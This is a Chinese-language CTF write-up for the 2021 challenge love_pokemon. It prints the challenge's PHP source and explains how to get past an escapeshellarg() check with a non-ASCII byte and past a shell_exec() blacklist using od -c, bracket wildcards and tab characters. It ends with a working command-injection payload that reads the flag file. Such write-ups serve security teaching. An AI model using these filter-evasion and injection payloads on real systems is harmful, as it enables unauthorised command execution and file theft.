[广东强网杯 2021]love_pokemon
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
function DefenderBonus($Pokemon){
if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
}
}
function ghostpokemon($Pokemon){
if(is_array($Pokemon)){
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
}
}
else{
$Pokemon = DefenderBonus($Pokemon);
}
}
switch($_POST['myfavorite'] ?? ""){
case 'picacu!':
echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'bulbasaur!':
echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
$level = $_POST["levelup"] ?? "";
if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}
break;
case 'squirtle':
echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'mewtwo':
$dream = $_POST["dream"] ?? "";
if(strlen($dream)>=20){
die("So Big Pokenmon!");
}
ghostpokemon($dream);
echo shell_exec($dream);
}
?>
escapeshellarg()过滤
首先是查看提示文件 ./hint.php,关键代码:
if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}
这里需要我们输入的字符串不包含lv100
,但是经过escapeshellarg()
处理之后含有lv100
,这里考查的知识点是escapeshellarg()
这个函数在处理超过ASCII码范围的字符的时候会直接过滤掉该字符串,因此直接提交lv%FF100
即可。
得到 ./hint.php 的内容是说明flag文件的路径为 /FLAG
命令执行绕过
这里传入的内容长度不能超过20个字符,然后经过一个黑名单过滤,最后会放入到shell_exec()
执行。我们查看黑名单中的字符,发现od
并没有过滤,使用od -c
命令也能读取文件内容,example:
# od -c /flag
0000000 f l a g { s u c c e s s ! } \n
0000017
然后就是构造出 FLAG 字符串,这里用到了[]
通配的形式,由于黑名单中有A
何L
这两个字符,因此构造F[D-Z][@-Z]G
,这样就能匹配上ASCII表中的@
到Z
之间的所有字符。
最后是空格的绕过,这里用到了%09
payload:
myfavorite=mewtwo&dream=od%09-c%09/F[D-Z][@-Z]G